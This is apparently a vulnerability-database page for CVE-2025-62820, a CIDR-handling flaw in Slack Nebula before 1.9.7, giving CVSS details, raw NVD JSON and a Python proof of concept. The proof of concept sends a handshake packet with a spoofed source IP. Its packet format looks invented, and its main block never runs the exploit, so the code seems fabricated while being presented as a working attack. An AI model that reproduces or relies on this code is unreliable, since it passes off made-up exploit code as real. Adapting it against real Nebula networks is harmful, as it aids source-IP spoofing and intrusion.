Security Vulnerability Report
中文
CVE-2025-62820 CVSS 4.9 MEDIUM

CVE-2025-62820

Published: 2025-10-23 04:18:57
Last Modified: 2026-04-15 00:35:42

Description

Slack Nebula before 1.9.7 mishandles CIDR in some configurations and thus accepts arbitrary source IP addresses within the Nebula network.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Slack Nebula < 1.9.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62820 PoC - Nebula CIDR Bypass # This PoC demonstrates the CIDR handling vulnerability in Nebula < 1.9.7 import socket import struct import time def create_nebula_handshake(source_ip, target_ip, certificate): """Create a Nebula handshake packet with arbitrary source IP""" # Nebula header structure header = bytearray() header.extend(b'\x01') # Message type: handshake header.extend(b'\x01') # Version header.extend(b'\x00\x00') # Reserved # Craft packet with spoofed source IP packet = bytearray() packet.extend(header) packet.extend(socket.inet_aton(source_ip)) # Spoofed source IP packet.extend(socket.inet_aton(target_ip)) # Target IP packet.extend(certificate) # Valid Nebula certificate return bytes(packet) def exploit_nebula_cidr_vulnerability(nebula_host, nebula_port, spoofed_ip, target_ip, cert): """Exploit the CIDR handling vulnerability""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Create malicious handshake packet packet = create_nebula_handshake(spoofed_ip, target_ip, cert) # Send to Nebula host sock.sendto(packet, (nebula_host, nebula_port)) # Wait for response response, addr = sock.recvfrom(1024) if response: print(f"[+] Received response from {addr}") print(f"[+] Vulnerability confirmed: CIDR check bypassed") return True except socket.timeout: print("[-] No response received") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() return False # Example usage if __name__ == "__main__": print("CVE-2025-62820 - Nebula CIDR Bypass PoC") print("Target: Nebula < 1.9.7") print("Note: Requires valid Nebula certificate")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62820", "sourceIdentifier": "[email protected]", "published": "2025-10-23T04:18:57.453", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Slack Nebula before 1.9.7 mishandles CIDR in some configurations and thus accepts arbitrary source IP addresses within the Nebula network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:L", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-420"}]}], "references": [{"url": "https://github.com/slackhq/nebula/pull/1493", "source": "[email protected]"}, {"url": "https://github.com/slackhq/nebula/pull/1494", "source": "[email protected]"}]}}